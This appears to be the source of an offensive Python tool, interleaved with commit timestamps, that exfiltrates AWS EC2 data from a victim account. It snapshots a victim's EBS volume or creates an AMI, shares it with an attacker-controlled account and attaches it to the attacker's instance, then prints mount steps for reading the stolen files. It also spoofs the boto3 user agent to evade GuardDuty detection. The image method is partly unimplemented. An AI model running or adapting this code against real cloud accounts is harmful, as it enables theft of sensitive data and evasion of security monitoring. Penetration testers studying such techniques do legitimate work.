2019-12-04 17:56:56 +01:00
#!/usr/bin/python3
#
# This script abuses insecure permissions given to the EC2 IAM Role to exfiltrate target EC2's
# filesystem data in a form of it's shared EBS snapshot or publicly exposed AMI image.
#
# CreateSnapshot:
# Abuses:
# ec2:CreateSnapshot
# ec2:ModifySnapshotAttribute
#
# The script will firstly create an EBS volume snapshot of the provided volume id. Then it will
# modify that snapshot's attributes to make it available for the foreign AWS Account that's going to
# be the Attacker's account. Then, the attacker will be able to create an EBS volume out of that snapshot.
# After doing so, the script will stop specified by the Attacker EC2 instance in order to later on attach it
# with a previously created volume. Afterwards, the instance will be restarted and the attacker will be able
# to mount freshly attached volume in the operating system to further examine its contents.
#
# This technique is safe to be demonstrated during AWS Penetration tests.
#
#
# CreateImage:
# Abuses:
# ec2:CreateImage
2019-12-11 10:58:24 +01:00
# ec2:ModifyImageAttribute
2019-12-04 17:56:56 +01:00
#
2019-12-05 11:24:49 +01:00
# NOT FULLY IMPLEMENTED YET.
2019-12-04 17:56:56 +01:00
# For this technique, the procedure is following - the script will create an image out of specified victim's EC2
# instance. This image will become publicly available (caution with client sensitive data!). After that, the script
# will attempt to create/import public SSH RSA keys to the attacker's account and then create an EC2 instance using that
# publicly available just created AMI image. Ultimately, the attacker will be able to SSH into newly created box to
# further examine it's filesystem contents.
#
# WARNING: Since this method creates a publicly available AMI image that will contain customer sensitive data, it is
# not recommended to use it during legal AWS Penetration Tests
#
# Author: Mariusz B. / mgeeky, '19, <mb@binary-offensive.com>
#
import sys
import pyjq
import json
import time
import boto3
import argparse
from botocore . exceptions import ClientError
config = {
' verbose ' : False ,
' region ' : ' ' ,
' victim ' : {
' profile ' : ' ' ,
' access-key ' : ' ' ,
' secret-key ' : ' ' ,
' token ' : ' ' ,
} ,
' attacker ' : {
' profile ' : ' ' ,
' access-key ' : ' ' ,
' secret-key ' : ' ' ,
' token ' : ' ' ,
} ,
' method ' : ' ' ,
' volume-id ' : ' ' ,
' instance-id ' : ' ' ,
' attach-instance-id ' : ' ' ,
}
class Logger :
@staticmethod
def _out ( x ) :
sys . stdout . write ( x + ' \n ' )
@staticmethod
def out ( x ) :
Logger . _out ( ' [>] ' + x )
@staticmethod
def info ( x ) :
if config [ ' verbose ' ] :
Logger . _out ( ' [.] ' + x )
@staticmethod
def fatal ( x ) :
sys . stdout . write ( ' [!] ' + x + ' \n ' )
sys . exit ( 1 )
@staticmethod
def fail ( x ) :
Logger . _out ( ' [-] ' + x )
@staticmethod
def ok ( x ) :
Logger . _out ( ' [+] ' + x )
class ExfiltrateEC2 :
session = None
def __init__ ( self , region , attacker_keys , victim_keys ) :
self . region = region
self . keys = {
' attacker ' : { } ,
' victim ' : { } ,
}
self . keys [ ' attacker ' ] = attacker_keys
self . keys [ ' victim ' ] = victim_keys
self . session = {
' attacker ' : None ,
' victim ' : None ,
}
Logger . info ( f " Using region: { region } " )
Logger . info ( " Authenticating using Attacker ' s AWS credentials... " )
self . session [ ' attacker ' ] = self . authenticate ( region , attacker_keys )
Logger . info ( " Authenticating using Victim ' s AWS credentials... " )
self . session [ ' victim ' ] = self . authenticate ( region , victim_keys )
def authenticate ( self , region , keys ) :
session = None
try :
if keys [ ' profile ' ] :
session = boto3 . Session (
profile_name = keys [ ' profile ' ] ,
region_name = region
)
else :
session = boto3 . Session (
aws_access_key_id = keys [ ' access-key ' ] ,
aws_secret_access_key = keys [ ' secret-key ' ] ,
aws_session_token = keys [ ' token ' ] ,
region_name = region
)
except Exception as e :
Logger . fail ( f ' Could not authenticate to AWS: { e } ' )
raise e
return session
def get_session ( self , whose ) :
return self . session [ whose ]
def get_account_id ( self , whose ) :
try :
return self . session [ whose ] . client ( ' sts ' ) . get_caller_identity ( ) [ ' Account ' ]
except Exception as e :
Logger . fatal ( f ' Could not Get Caller \' s identity: { e } ' )
def create_snapshot ( self , attacker_instance_id , volume_id , availability_zone ) :
victim_client = self . session [ ' victim ' ] . client ( ' ec2 ' )
attacker_client = self . session [ ' attacker ' ] . client ( ' ec2 ' )
target_user = self . get_account_id ( ' attacker ' )
snapshot = None
volume_created = None
modify_result = None
Logger . out ( f " Step 1: Creating EBS volume snapshot. VolumeId = { volume_id } " )
try :
snapshot = victim_client . create_snapshot (
Description = f ' Exfiltrated EBS snapshot of volume: { volume_id } ' ,
VolumeId = volume_id
)
Logger . ok ( f " Snapshot of volume { volume_id } created: { snapshot [ ' SnapshotId ' ] } " )
except Exception as e :
Logger . fatal ( f " ec2:CreateSnapshot action on Victim failed. Exception: { e } " )
Logger . out ( f " Step 2: Modifying snapshot attributes to share it with UserId = { target_user } " )
try :
modify_result = victim_client . modify_snapshot_attribute (
Attribute = f ' createVolumePermission ' ,
OperationType = ' add ' ,
SnapshotId = snapshot [ ' SnapshotId ' ] ,
UserIds = [
target_user ,
]
)
Logger . ok ( f " Snapshot ' s attributes modified to share it with user { target_user } " )
except Exception as e :
Logger . fatal ( f " ec2:ModifySnapshotAttribute action on Victim failed. Exception: { e } " )
Logger . out ( f " Step 3: Waiting for the snapshot to transit into completed state. " )
try :
victim_client . get_waiter ( ' snapshot_completed ' ) . wait ( SnapshotIds = [ snapshot [ ' SnapshotId ' ] ] )
except Exception as e :
Logger . fail ( f " boto3 Waiter for snapshot completed state failed. Exception: { e } " )
Logger . info ( " Waiting in a traditional manner: 3 minutes. " )
time . sleep ( 3 * 60 )
Logger . out ( f " Step 4: Creating EBS volume in Attacker ' s { target_user } AWS account. " )
attacker_instance_data = None
try :
if not availability_zone :
availability_zone = self . region + ' a '
attacker_instance = attacker_client . describe_instances (
InstanceIds = [ attacker_instance_id , ]
)
for inst in attacker_instance [ ' Reservations ' ] [ 0 ] [ ' Instances ' ] :
if inst [ ' InstanceId ' ] == attacker_instance_id :
availability_zone = inst [ ' Placement ' ] [ ' AvailabilityZone ' ]
attacker_instance_data = inst
Logger . info ( f " Obtained Attacker ' s EC2 instance Availbility Zone automatically: { availability_zone } " )
break
except Exception as e :
Logger . fail ( f " THIS MAY BE FATAL: Could not enumerate attacker ' s instance with given InstanceId = { attacker_instance_id } " )
Logger . fail ( f " Exception: { e } " )
raise e
availability_zone = self . region + ' a '
try :
volume_created = attacker_client . create_volume (
AvailabilityZone = availability_zone ,
Encrypted = False ,
VolumeType = ' gp2 ' ,
SnapshotId = snapshot [ ' SnapshotId ' ]
)
Logger . ok ( f " Created EBS volume ( { volume_created [ ' VolumeId ' ] } at Attacker ' s side out from exfiltrated snapshot ( { snapshot [ ' SnapshotId ' ] } ) " )
except Exception as e :
Logger . fail ( f " ec2:CreateVolume action on Attacker failed. Exception: { e } " )
Logger . out ( f " Step 5: Waiting for the volume to transit into created state. " )
try :
attacker_client . get_waiter ( ' volume_available ' ) . wait ( VolumeIds = [ volume_created [ ' VolumeId ' ] ] )
except Exception as e :
Logger . fail ( f " boto3 Waiter for volume available failed. Exception: { e } " )
Logger . info ( " Waiting in a traditional manner: 3 minutes. " )
time . sleep ( 3 * 60 )
Logger . out ( f " Step 6: Attaching created EBS volume to Attacker ' s specified EC2 instance " )
try :
attacker_client . attach_volume (
Device = ' /dev/xvdf ' ,
InstanceId = attacker_instance_id ,
VolumeId = volume_created [ ' VolumeId ' ]
)
Logger . ok ( f " Attached volume to the specified Attacker ' s EC2 instance: { attacker_instance_id } " )
except Exception as e :
if ' IncorrectInstanceState ' in str ( e ) :
Logger . fail ( " Attacker ' s machine is in running state, preventing to attach it a volume. " )
Logger . info ( " Trying to stop the EC2 instance, then attach the volume and then restart it. " )
try :
attacker_instance = attacker_client . stop_instances (
InstanceIds = [ attacker_instance_id , ]
)
attacker_client . get_waiter ( ' instance_stopped ' ) . wait ( InstanceIds = [ attacker_instance_id , ] )
attacker_client . attach_volume (
Device = ' /dev/xvdf ' ,
InstanceId = attacker_instance_id ,
VolumeId = volume_created [ ' VolumeId ' ]
)
Logger . ok ( f " Attached volume to the specified Attacker ' s EC2 instance: { attacker_instance_id } " )
except Exception as e :
Logger . fail ( f " ec2:AttachVolume action on Attacker failed. Exception: { e } " )
Logger . fail ( " Tried to automatically stop attacker ' s EC2 instance, then attach volume and restart it, but that failed as well. " )
Logger . fail ( f " Exception: " + str ( e ) )
Logger . info ( " Restarting it... " )
attacker_instance = attacker_client . start_instances (
InstanceIds = [ attacker_instance_id , ]
)
attacker_client . get_waiter ( ' instance_running ' ) . wait ( InstanceIds = [ attacker_instance_id , ] )
try :
attacker_instance = attacker_client . describe_instances (
InstanceIds = [ attacker_instance_id , ]
)
for inst in attacker_instance [ ' Reservations ' ] [ 0 ] [ ' Instances ' ] :
if inst [ ' InstanceId ' ] == attacker_instance_id :
attacker_instance_data = inst
break
except : pass
else :
Logger . fail ( f " ec2:AttachVolume action on Attacker failed. Exception: { e } " )
2019-12-05 11:24:49 +01:00
try :
Logger . out ( f " Cleanup. Trying to remove created snapshot ( { snapshot [ ' SnapshotId ' ] } ) at Victim ' s estate... " )
victim_client . delete_snapshot ( SnapshotId = snapshot [ ' SnapshotId ' ] )
Logger . ok ( f " Snapshot removed. " )
except Exception as e :
Logger . fail ( f " (That ' s ok) ec2:DeleteSnapshot action on Victim failed. Exception: { e } " )
2019-12-04 18:39:46 +01:00
ssh_command = ' SSH to the attacker \' s EC2 instance \n '
2019-12-04 17:56:56 +01:00
if attacker_instance_data :
try :
ip = attacker_instance_data [ ' PublicIpAddress ' ]
except :
Logger . fail ( f " Could not obtain Attacker ' s EC2 Public ip address. Available fields: \n { attacker_instance_data } \n " )
ip = " ec2-ip-address "
if ip :
ssh_command = f ''' SSH to the attacker ' s EC2 instance
# ssh ec2-user@{ip}
'''
print ( f '''
== == == == == == == == == == == == == == == == == == == == == == == == == == == == == == == =
[ MODULE FINISHED ]
== == == == == == == == == == == == == == == == == == == == == == == == == == == == == == == =
[ + ] Exfiltrated snapshot of a victim ' s EBS volume:
VictimVolumeId = { volume_id }
[ + ] By creating a snapshot of it , shared to the attacker ' s AWS user ID.
SnapshotId = { snapshot [ ' SnapshotId ' ] }
If everything went fine , Attacker ' s AWS account {target_user} should have a EBS volume now:
AttackerVolumeId = { volume_created [ ' VolumeId ' ] }
That was attached to the specified attacker ' s EC2 instance:
AttackerInstanceId = { attacker_instance_id }
AvailibityZone = { availability_zone }
Most likely as a ' /dev/xvdf ' device .
== == == == == == == == == == == == == == == == == == == == == == == == == == == == == == == =
To examine exfiltrated data :
0 ) { ssh_command }
1 ) List block devices mapped :
# lsblk
2 ) If above listing yielded mapped block device , e . g . xvdf , create a directory for it :
# mkdir /exfiltrated
3 ) Mount that device ' s volume:
# mount /dev/xvdf1 /exfiltrated
4 ) Review it ' s contents:
# ls -l /exfiltrated
''' )
return True
2019-12-05 11:24:49 +01:00
def create_image ( self , instance_id , image_name , image_description ) :
victim_client = self . session [ ' victim ' ] . client ( ' ec2 ' )
attacker_client = self . session [ ' attacker ' ] . client ( ' ec2 ' )
created_image = None
try :
Logger . out ( " Step 1: Creating a publicly available AMI image out of specified EC2 instance. " )
created_image = victim_client . create_image (
InstanceId = instance_id ,
Name = image_name ,
Description = image_description
)
Logger . ok ( f " AMI Image with name: ( { image_name } ) created: { created_image [ ' ImageId ' ] } " )
except Exception as e :
Logger . fatal ( f " ec2:CreateImage action on Victim failed. Exception: { e } " )
2019-12-04 17:56:56 +01:00
2019-12-11 10:58:24 +01:00
target_user = self . get_account_id ( ' attacker ' )
Logger . out ( f " Step 2: Modifying image attributes to share it with UserId = { target_user } " )
try :
modify_result = victim_client . modify_image_attribute (
Attribute = ' launchPermission ' ,
ImageId = created_image [ ' ImageId ' ] ,
OperationType = ' add ' ,
UserIds = [
target_user ,
]
)
Logger . ok ( f " Image ' s attributes modified to share it with user { target_user } " )
except Exception as e :
Logger . fatal ( f " ec2:ModifyImageAttribute action on Victim failed. Exception: { e } " )
# Step 3: Import custom SSH RSA public key
2019-12-04 17:56:56 +01:00
# client.import_key_pair(
# KeyName = "Some key name"
# PublicKeyMaterial = "key material"
# )
2019-12-11 10:58:24 +01:00
# Step 4: Create an instance from exported AMI
2019-12-04 17:56:56 +01:00
# client.run_instances(
# ImageId = "ami-00000000",
# SecurityGroupIds = ["sg-00000", ],
# SubnetId = "subnet-aaaaaa",
# Count = 1,
# InstanceType = "t2.micro",
# KeyName = "Some key name",
# Query = "Instances[0].InstanceId",
# )
# Returns:
# "i-00001111002222"
2019-12-11 10:58:24 +01:00
# Step 5: Connect to that EC2 instance
2019-12-04 17:56:56 +01:00
# client.describe_instances(
# InstanceIds = ["i-00001111002222"],
# Query = "Reservations[0].Instances[0].PublicIpAddress"
# )
# Returns:
# "1.2.3.4"
#
# $ ssh ec2-user@1.2.3.4
# $ ls -l
2019-12-05 11:24:49 +01:00
print ( f """
== == == == == == == == == == == == == == == == == == == == == == == == == == == == == == == =
[ ! ] REST OF THE EXPLOIT LOGIC HAS NOT BEEN IMPLEMENTED YET .
== == == == == == == == == == == == == == == == == == == == == == == == == == == == == == == =
[ . ] You can proceed manually from this point :
1 ) Create an EC2 instance in region : { self . region }
2 ) Make sure this EC2 instance is being created out of public AMI image with ID :
Image ID : { created_image [ ' ImageId ' ] }
3 ) Setup SSH keys , Security Groups , etc .
4 ) SSH into that machine .
Created EC2 instance ' s filesystem will be filled with files coming from the exfiltrated EC2.
""" )
2019-12-04 17:56:56 +01:00
def parseOptions ( argv ) :
global config
print ( '''
: : exfiltrate - ec2
Exfiltrates EC2 data by creating an image of it or snapshot of it ' s EBS volume
Mariusz B . / mgeeky ' 19, <mb@binary-offensive.com>
''' )
parser = argparse . ArgumentParser ( prog = argv [ 0 ] )
parser . _action_groups . pop ( )
required = parser . add_argument_group ( ' required arguments ' )
optional = parser . add_argument_group ( ' optional arguments ' )
attacker = parser . add_argument_group ( ' Attacker \' s AWS credentials - where to instantiate exfiltrated EC2 ' )
victim = parser . add_argument_group ( ' Victim AWS credentials - where to find EC2 to exfiltrate ' )
required . add_argument ( ' --region ' , type = str , help = ' AWS Region to use. ' )
attacker . add_argument ( ' --profile ' , type = str , help = ' Attacker \' s AWS Profile name to use if --access-key was not specified ' , default = ' default ' )
attacker . add_argument ( ' --access-key ' , type = str , help = ' Attacker \' s AWS Access Key ID to use if --profile was not specified ' )
attacker . add_argument ( ' --secret-key ' , type = str , help = ' Attacker \' s AWS Secret Key ID ' )
attacker . add_argument ( ' --token ' , type = str , help = ' (Optional) Attacker \' s AWS temporary session token ' )
victim . add_argument ( ' --victim-profile ' , type = str , help = ' Victim \' s AWS Profile name to use if --access-key was not specified ' )
victim . add_argument ( ' --victim-access-key ' , type = str , help = ' Victim \' s AWS Access Key ID to use if --profile was not specified ' )
victim . add_argument ( ' --victim-secret-key ' , type = str , help = ' Victim \' s AWS Secret Key ID ' )
victim . add_argument ( ' --victim-token ' , type = str , help = ' (Optional) Victim \' s AWS temporary session token ' )
optional . add_argument ( ' -v ' , ' --verbose ' , action = ' store_true ' , help = ' Display verbose output. ' )
subparsers = parser . add_subparsers ( help = ' Available methods ' , dest = ' method ' )
a = ' Creates a snapshot of a running or stopped EC2 instance in an AMI image form. ' \
' This AMI image will then be shared with another AWS account, constituing exfiltration opportunity. '
createimage = subparsers . add_parser ( ' createimage ' , help = a )
createimage . add_argument ( ' --instance-id ' , help = ' (Required) Specifies instance id (i-...) to create an image of. ' )
2019-12-05 11:24:49 +01:00
createimage . add_argument ( ' --image-name ' , default = " Exfiltrated AMI image " , type = str , help = ' (Optional) Specifies a name for newly created AMI image. Default: " Exfiltrated AMI image " ' )
createimage . add_argument ( ' --image-desc ' , default = " Exfiltrated AMI image " , type = str , help = ' (Optional) Specifies a description for newly created AMI image. Default: " Exfiltrated AMI image " ' )
2019-12-04 17:56:56 +01:00
b = ' Creates a snapshot of an EBS volume used by an EC2 instance. ' \
' This snapshot will then be shared with another AWS account, constituing exfiltration opportunity. '
createsnapshot = subparsers . add_parser ( ' createsnapshot ' , help = b )
createsnapshot . add_argument ( ' --volume-id ' , help = ' (Required) Specifies EBS volume id (vol-...) to create a snapshot of. ' )
createsnapshot . add_argument ( ' --attach-instance-id ' , help = ' (Required) Specifies Attacker \' s instance ID where snapshot should be attached as a volume (i-...). This instance must be created in the same region as specified and must be in a STOPPED state. Otherwise, this script will automatically stop the instance and then restart it after attaching volume. ' )
createsnapshot . add_argument ( ' --availability-zone ' , help = ' (Optional) Specifies in which Attacker \' s EC2 instance availability zone was placed. If this parameter is not specified, the program will try to invoke ec2:DescribeInstances to find that information automatically. ' )
args = parser . parse_args ( )
config [ ' verbose ' ] = args . verbose
config [ ' region ' ] = args . region
if args . method == ' createimage ' :
if args . instance_id != None :
config [ ' instance-id ' ] = args . instance_id
else :
Logger . fatal ( ' --instance-id parameter is required for this to work. ' )
if args . method == ' createsnapshot ' :
if args . volume_id != None and args . attach_instance_id != None :
config [ ' volume-id ' ] = args . volume_id
config [ ' attach-instance-id ' ] = args . attach_instance_id
config [ ' availability-zone ' ] = args . availability_zone
else :
Logger . fatal ( ' --volume-id and --attach-instance-id parameters are required for this to work. ' )
if not args . region :
Logger . fatal ( " Please provide AWS region to operate in. " )
if args . profile and ( args . access_key or args . secret_key or args . token ) :
Logger . fatal ( " There should only be used either profile name or raw credentials for Attacker ' s AWS keys! " )
if args . victim_profile and ( args . victim_access_key or args . victim_secret_key or args . victim_token ) :
Logger . fatal ( " There should only be used either profile name or raw credentials for Victim ' s AWS keys! " )
if args . profile :
config [ ' attacker ' ] [ ' profile ' ] = args . profile
Logger . info ( f " Using attacker ' s profile: { args . profile } " )
elif args . access_key and args . secret_key :
config [ ' attacker ' ] [ ' access-key ' ] = args . access_key
config [ ' attacker ' ] [ ' secret-key ' ] = args . secret_key
config [ ' attacker ' ] [ ' token ' ] = args . token
Logger . info ( f " Using passed Attacker ' s AWS credentials: ****** { args . access_key [ - 6 : ] } " )
else :
Logger . fatal ( " Both access key and secret key must be specified for Attacker ' s AWS credentials if profile was not used! " )
if args . victim_profile :
2019-12-04 18:24:44 +01:00
config [ ' victim ' ] [ ' profile ' ] = args . victim_profile
Logger . info ( f " Using victim ' s profile: { args . victim_profile } " )
2019-12-04 17:56:56 +01:00
elif args . victim_access_key and args . victim_secret_key :
config [ ' victim ' ] [ ' access-key ' ] = args . victim_access_key
config [ ' victim ' ] [ ' secret-key ' ] = args . victim_secret_key
config [ ' victim ' ] [ ' token ' ] = args . victim_token
Logger . info ( f " Using passed Victim ' s AWS credentials: ****** { args . victim_access_key [ - 6 : ] } " )
else :
Logger . fatal ( " Both access key and secret key must be specified for Victim ' s AWS credentials if profile was not used! " )
return args
def monkeyPatchBotocoreUserAgent ( ) :
'''
This is to avoid triggering GuardDuty ' PenTest:IAMUser/KaliLinux ' alerts
Source :
https : / / www . thesubtlety . com / post / patching - boto3 - useragent /
'''
import sys
import boto3
import botocore
try :
from _pytest . monkeypatch import MonkeyPatch
except ( ImportError , ModuleNotFoundError ) as e :
print ( ' [!] Please install " pytest " first: pip3 install pytest ' )
print ( ' \t this will be used to patch-up boto3 library to avoid GuardDuty Kali detection ' )
sys . exit ( 0 )
monkeypatch = MonkeyPatch ( )
def my_user_agent ( self ) :
return " Boto3/1.9.89 Python/2.7.12 Linux/4.2.0-42-generic "
monkeypatch . setattr ( botocore . session . Session , ' user_agent ' , my_user_agent )
def main ( argv ) :
opts = parseOptions ( argv )
if not opts :
Logger . err ( ' Options parsing failed. ' )
return False
monkeyPatchBotocoreUserAgent ( )
exp = ExfiltrateEC2 (
opts . region ,
config [ ' attacker ' ] ,
config [ ' victim ' ] ,
)
if opts . method == ' createimage ' :
Logger . info ( " Abusing ec2:CreateImage... " )
2019-12-05 11:24:49 +01:00
exp . create_image ( opts . instance_id , opts . image_name , opts . image_desc )
2019-12-04 17:56:56 +01:00
elif opts . method == ' createsnapshot ' :
Logger . out ( " Abusing dangerous ec2:CreateSnapshot and ec2:ModifySnapshotAttribute... \n " )
exp . create_snapshot ( opts . attach_instance_id , opts . volume_id , opts . availability_zone )
else :
Logger . fatal ( f " Unknown method specified: { opts . method } " )
if __name__ == ' __main__ ' :
main ( sys . argv )